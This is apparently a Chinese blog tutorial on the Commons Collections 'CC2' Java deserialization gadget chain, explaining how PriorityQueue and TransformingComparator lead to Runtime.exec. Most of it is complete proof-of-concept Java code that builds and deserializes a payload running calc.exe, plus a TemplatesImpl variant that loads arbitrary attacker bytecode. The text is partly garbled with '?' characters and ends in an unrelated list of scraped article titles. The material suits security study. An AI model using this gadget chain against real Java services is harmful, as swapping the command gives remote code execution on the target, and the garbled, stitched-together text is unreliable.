所以CC2
实际就是?条从 PriorityQueue
到TransformingComparator
的利?链
/* Gadget chain:ObjectInputStream.readObject()PriorityQueue.readObject()PriorityQueue.heapify()PriorityQueue.siftDown()PriorityQueue.siftDownUsingComparator()TransformingComparator.compare()InvokerTransformer.transform()Method.invoke()Runtime.exec() */
关于 PriorityQueue 这个数据结构的具体原理,可以参考这篇?章:https://www.cnblogs.com/linghu-java/p/9467805.html
开始编写POC,?先,还是创建Transformer:
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers= new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"calc.exe"})};Transformer chain = new ChainedTransformer(transformers);
再创建?个TransformingComparator
,传?我们的Transformer
Comparator comparator = new TransformingComparator(chain)
实例化PriorityQueue
对象,第?个参数是初始化时的??,?少需要2个元素才会触发排序和?较,所以是2;第?个参数是?较时的Comparator
,传?前?实例化的comparator
PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(1);queue.add(2);
后?随便添加了2个数字进去,这?可以传??null的任意对象,因为我们的Transformer是忽略传?参数的 。最后,将真正的恶意Transformer设置上,
setFieldValue(transformerChain, "iTransformers", transformers)
完整poc如下
import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.comparators.TransformingComparator;public class CC2 {public static void setFieldValue(Object obj, String fieldName, Objectvalue) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception{Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"})};Transformer chain = new ChainedTransformer(fakeTransformers);Comparator comparator = new TransformingComparator(chain);PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(1);queue.add(2);setFieldValue(chain, "iTransformers", transformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}}

文章插图
CC2改进前边说过了利?
TemplatesImpl
可以构造出?Transformer数组
的利?链,可以将CC2这条链也进行改造 。public class CommonsCollections2TemplatesImpl {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}protected static byte[] getBytescode() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName());return clazz.toBytecode();}public static void main(String[] args) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer transformer = new InvokerTransformer("toString", null, null);Comparator comparator = new TransformingComparator(transformer);PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(obj);queue.add(obj);setFieldValue(transformer, "iMethodName", "newTransformer");ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}}
经验总结扩展阅读
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 3.JS
- 原神夜鸦谁是那个怠惰之人怎么完成
- 不思议迷宫玛尔斯之殿DP隐藏彩蛋攻略大全
- 金铲铲之战驯龙传送法阵容怎么搭配
- 骁龙895处理器消息_骁龙895处理器曝光
- 已购公房买了之后算商品房吗 已购公房有什么优缺点
- 健康喂养之狗粮怎么喂,吃什么狗粮好(谷物狗粮和无谷物狗粮)
- 喜羊羊之死是哪一集?
- .NET应用开发之SQLServer常见问题分析
- C#11之原始字符串